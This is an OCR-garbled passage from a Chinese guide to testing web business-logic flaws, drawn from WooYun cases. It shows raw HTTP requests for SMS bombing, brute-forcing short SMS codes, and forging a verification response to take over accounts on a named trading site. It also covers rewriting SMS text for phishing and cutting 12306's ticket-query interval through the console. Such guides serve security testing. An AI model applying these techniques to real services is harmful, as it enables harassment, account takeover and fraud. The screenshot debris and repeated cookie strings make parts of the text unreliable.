utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743; utmb=216089743.1388643914;utmc=216089743;utmc=216089743;utmc=216089743;utmc=216089743;utmc=216089743;utmc=216089743;utmc=21608974</pre>
改成 00
www.wooyun.org

# 直接跳过了支付宝支付页面,给出了取票密码

∈ ⇒	C 🗋 mp.h	aitangs	how.com/otherord	er/									
应用	迷你轰炸台·	短信…	🚾 未命名 关注互联网	••• 🚺 Exploits 1	Database…	🛐 1337day Inj	3ct0r … 🕴	F FreebuF. COM-	关注…	📑 联想 ide	aclub 互…	🗋 XSS Platform	👨 视频教程
			SPIRAL SHOW					1					
			2014年1月2日 星期四		首页	Ì	演出列表	٤		我的订单	Ì	注销 1381582	5654
							定票成功	Ъ					
				3 <b>0</b> -3		項目名称		E	3期/时间	熹价			
				(分) (分)	€旁 2014- ▼:三亚万边	1-11 19:00   大駒院・楼层:1	楼·排数:9打	腓・座号:4) ²⁰¹⁴⁻	-01-11 19:	00 1580元			
				总计	十: 1580元								
				你	的取	雪家 码 是·	05.6	-					
				1 <u>0</u> 1	1114		00-				\		
1.000				您的	定单详细值	言息已经发送至:hi	boy@qq.con	n, 建议您尽快查;	看.				
											1		
				Co	pyright © v	海棠秀 飲权 www.haitangshow 建议使用IE9、	所有 客服电i .com, All Rig <u>手机版</u> Safari、或(	话:400-999-990 hts Reserved 京 Chrome浏览器访	00 (ICP备110 5问	23446号-1	/		
								1. 18 A. 1				WWW.V	ooyun ord

这是之前测试



根据提示我们知道是根据取票密码取票的、、so... 请我去看么?

# 2.9 业务接口调用

## 2.9.1 重放攻击

在短信、邮件调用业务或生成业务数据环节中(类:短信验证码,邮件验证码,订单生成, 评论提交等),对其业务环节进行调用(重放)测试。如果业务经过调用(重放)后被多次 生成有效的业务或数据结果。

- a. 恶意注册
- b. 短信炸弹

在测试的过程中,我们发现众多的金融交易平台仅在前端通过 JS 校验时间来控制短信发送 按钮,但后台并未对发送做任何限制,导致可通过重放包的方式大量发送恶意短信。

案例: 一亩田交易网逻辑漏洞(木桶原理)

看到首页有一亩田密码重置的问题了,就来挖一挖了 http://www.ymt360.com/首先注册用 户,手机号,发送验证码,是6位数字,不截图了这里,发送手机号1分钟能发一次,服务 端有限制。

然后手机版 http://m.ymt360.com/ 可以无限进行发送短信,造成短信轰炸,手机验证码还是 6 位数字

GET /user/send_msg?mobile=13800xxxxx HTTP/1.1
Host: m.ymt360.com

## response {"status":1, "msg":16595}

到这里漏洞审核肯定说无危害啊,因为没有一个短信轰炸被通过的。 然后我们来到了手机 APP 客户端,以安卓的为例吧 首先也是短信轰炸,这个不多说了 然后就是,短信验证码为4位数字,这个爆破起来是分分钟啊

く返回	验证手机	
为了方便使用一	亩田,请验证手机:	
13800138000		57
请输入短信内的	04位验证码	
	确认	

POST /v8/phone/verify?mac=cATa3T986Ug0DE7YgoSZ9h4yJoI. HTTP/1.1 X-App-Version: V3.3.2 X-User-Agent: 0 X-User-Id: 93873 X-DOMAIN: app Content-Type: application/json Accept-Encoding: gzip, deflate, sdch Content-Length: 57 Host: api.ymt360.com {"seqNo":"16768", "vcode":"1111", "code":"aifbc6c0eo5sgzi"}

上面就是验证验证码的的请求 1111 可以直接爆破。 然后验证失败 response 返回 { "status":-1} 现在我们直接不进行爆破,截获返回包,修改为 { "status":0} 则直接验证通过进入账户页面。

然后这个可能也没什么,其实想说的是一个设计缺陷

0		╤ 💈 5:10
	个人中心	
您的手机账号:1380	0138000	
积分:0 前往积分商	城 >	
您已经连续登陆 <mark>0</mark> 天 获得	10积分 ?	
有笑反復	分享有美	0
意见反馈	我的二维码	我的消息
実	买	
我的卖货	我的买货	我的订单
B	0	ai
我的报价	我的询价	我的行情

然后更重要的一点就是,可以知道其他用户的手机号,直接登录任意用户账号。

## 2.9.2 内容编辑

a. 类似案例如下

点击"获取短信验证码",并抓取数据包内容,如下图。通过分析数据包,可以发现参数 sendData/insrotxt 的内容有客户端控制,可以修改为攻击者想要发送的内容

	- Timeline	9	🛛 Log	Filters	omposer	er 📝 C	utoRespond	ors 4 A	Inspector	) Statistics
			XML	JSON	Raw	Cookies	Auth	/ebForms	extView We	aders T
٨										
_		_								
			(m ++ m ) (t = )					B.	o.r.e	
XXXXXX	要改手机器行手机导强结体,验证码为。	17 F	你正在讲》	o-value>	xtk/ke	ı/insrot	sendDat	am> <kev< td=""><td>oaram&gt;<oar< td=""><td>ie&gt;<!--</td--></td></oar<></td></kev<>	oaram> <oar< td=""><td>ie&gt;<!--</td--></td></oar<>	ie> </td

将内容修改"恭喜你获得由 xx 银行所提供的 iphone6 一部,请登录 http://www.xxx.com 领取,验证码为 236694"并发送该数据包,手机可收到修改后的短信内容,如下图:

< 信息 1	065755	联系人
	短信/彩信 今天 16:11	
【 银行 部,请登	】恭喜您获得由 提供的iphone6一 录	
WWW.	.com领取,验	drops.wooyun.org

## 2.10 时效绕过测试

大多有利用的案例发生在验证码以及业务数据的时效范围上,在之前的总结也有人将 12306 的作为典型,故,单独分类。

#### 2.10.1 时间刷新缺陷

a. 12306 网站的买票业务是每隔 5s,票会刷新一次。但是这个时间确实 在本地设置的间隔。于是,在控制台就可以将这个时间的关联变量重 新设置成 1s 或者更小,这样刷新的时间就会大幅度缩短(主要更改 autoSearchTime 本地参数)。

案例: 12306 自动刷票时间可更改漏洞

12306的自动查询可以直接修改查询间隔时间,可使查询间隔时间无限小。

<ul><li>● 単程</li><li>○ 往返</li></ul>	出发地	北京	(	2 =	目的地	眉山		<b>?</b> 出	发日 20	014-01-2	26	<b>1</b> 154	日 201	4-01-09		C	) 普通 ) 学生	<b>₹</b>	查询 :启自动查	间
01-09 01-	10 01-11	01-12	01-13	01-14	01-15	01-16	01-17	01-18	01-19	01-20	01-21	01-22	01-23	01-24	01-25	0	1-26 周	B	01-27	01-28
车次类型 出发车站 到达车站	: 全部 [ : 全部 [ : 全部 [ : 全部 [	] GC-高钧 ] 北京西 ] 眉山	夫/城际 🛛	]] D-志力至	ŧ	□ Z-直	i达	<u></u> ∏ <b>⊺</b> 4	寺快	E K	-快速		其他			发	车时间:	00:00-	-24:00 💌	]
乘车人 优生左次	: 请选打	¥.																		
优先席别	· _{「「制八} : 请选打	¥	硬卧	0		硬座	8	无应	5 6	3										
备选日期	: 请选持	¥																		
高级设置	: 席别优券	ī 💌	🔲 éż	动提交	□ 余	票不足明	部分提到	交试	听提示音	新清	空所有逆	项							百多讨	.(前 🔺
京> 眉	山(1月26	日月日	)共计1 [.]	个车次						仅显示	市选定车	次						🔲 显;	下全部可预	订车》
100	3	泼站 财达站	出发 到达	时间) 时间一	БI	k) 🔺	商务座	特等的	E - #	œ _₹	ie i	級	软卧	<b>祝時</b>	软座	硬座	无座	其他	备	È
半次																				

我们都知道,12306的订票现在可以开启"自动查询",这时会5秒查一次,如果同时选了 "自动提交",那么如果查到票就会自动提交订单。好像挺方便的。 查询间隔是5秒。估计是为了服务器考虑吧。

<ul><li>● 単程</li><li>● 往返</li></ul>	出发地北京	0 =	目的地眉山	ç	出发日 2	014-01-26		返程日 20	14-01-09		<ul> <li>● 普通</li> <li>● 学道</li> </ul>		停止查询 开启自动查询
01-09 01-10	0 01-11 01-12	01-13 01-14	01-15 01-16	01-17 03	-18 01-19	01-20 0	01-21 01-	22 01-23	01-24	01-25	01-26	周日	01-27 01-28
车次类型: 出发车站: 到达车站:	<ul> <li>全部 □ GC-高</li> <li>全部 □ 北京四</li> <li>全部 □ 眉山</li> </ul>	铁/城际 📄 D-动车	E 🕅 Z-ġ	iitä 🛛	□ T-特快	<u></u> K-ŧ	<del>t</del> 速	■ 其他			发车时间	l: 00:0	J24:00 💌
乘车人: 优先车次:	请选择												
优先席别:	请选择	硬卧 🕺	硬座										
备选日期: 高级设置:	请选择 席别优先 ▼	🗌 自动提交	🗌 余票不足时	才部分提交	试听提示	音乐 清空	所有选项						更多选项 🔺
k京> 眉山	(1月26日 周日	]) 共计1个车次				离下次刷新	街间 🦂	秒				<b>1</b>	显示全部可预订车》
车次	出发站 到达站	出发时间 ▲ 到达时间 ▼	历时 🔺	商务座	特集座 一等	ie 二等i	■ 高级 软卧	软卧	御卧	软座	覆座 无	庄 其 <b>(</b>	音注
<u>K117</u>	□ 北京西 □ 眉山	11:11 18:00	<b>30:49</b> 次日到达	-		5	-	无	无		无 9	- (	<b>1</b> 517

www.wooyun.org

但如果修改 autoSearchTime 参数,查询间隔就随便改啦。 打开 console,输入想使用的自动查询间隔(毫秒) 比如:

>	autoSearchTime=5	
	5	www.wooyun.org

然后再按原操作进行自动查询:

◎ 往返   出	发地北京	<b>9</b> F	目的地	眉山		2 出发	发日 2014	4-01-26	i i	5程日 20	14-01-09			)学生	团 开	F启自动查询
01-09 01-10	01-11 01-12	01-13 01-1	4 01-15	01-16	01-17	01-18	01-19 0	01-20 01-	21 01-3	22 01-23	01-24	01-25	0	1-26 周	B	01-27 0:
车次类型: 出发车站: 到达车站: 乘车人:	全部	铁/城际 🔲 D-ā ī	加车	I Z-直ì	达	□ T-特	钟快	<mark>── K</mark> -快道	Ē	■ 其他			发	车时间:	00:00-	-24:00 💌
优先车次: 优先席别: 备送日期: 高级设置:	请输入 🛨 请选择 请选择 席别优先 ▼	校卧 ●	】 : □ 余	票不足时	部分提习	र (राम	加载 所提示音牙	中	有选项							更多选订
优先车次: 优先席别: 备选日期: 高级设置: 凉> 眉山	请输入 ① 请选择 请选择 席别优先 ▼ (1月26日 周日	較卧 ( □ 自动提交 ])共计1个车%	) : ①余 :	票不足时	部分提引	र्रे दिन	加载 所提示音乐 离1	中 清空所 下次刷新B	有选项 <b>1间 (</b>	<mark>).005</mark> 秒					□ 显;	更多选项
优先车次:[ 优先席别:[ 备迭曰期:[ 高级设置:] (京> 眉山 ) 车次	请输入 请法择 请选择 常别优先 ■ (1月26日 周日 出发站 到达站	校卧 ○ 自动提交 1) 共计1个车次 出发时间 到达时间	図 : □ 余 : ↓ 历『	票不足时	部分提交商务座	ξ 试则 特等座	加載 所提示音牙 <b>离</b> 1 - 等座	中 清空所 下次 <b>刷新</b> 田	有选项 <b>  间</b> ( 高級 软卧	).005秒 软卧	硬卧	软座	硬庄	无座	■ 显; 其他	更多达时 示全部可预订 备注

我想多久查一次多久查一次,并且的确是可以按照这个时间提交订单的,yeah。 这样一来,码农们刷票和提交定单就可以比大家快5秒啦 如果全国人民都用 0.01秒的间隔, 那么 12306 的服务器,嘿嘿

## 2.10.2 时间范围测试

a. 针对某些带有时间限制的业务,修改其时间限制范围,例如在某项时间限制范围内查询的业务,修改含有时间明文字段的请求并提交,查看能否绕过时间限制完成业务流程。例如通过更改查询手机网厅的受理记录的 month 范围,可以突破默认只能查询六个月的记录。

三、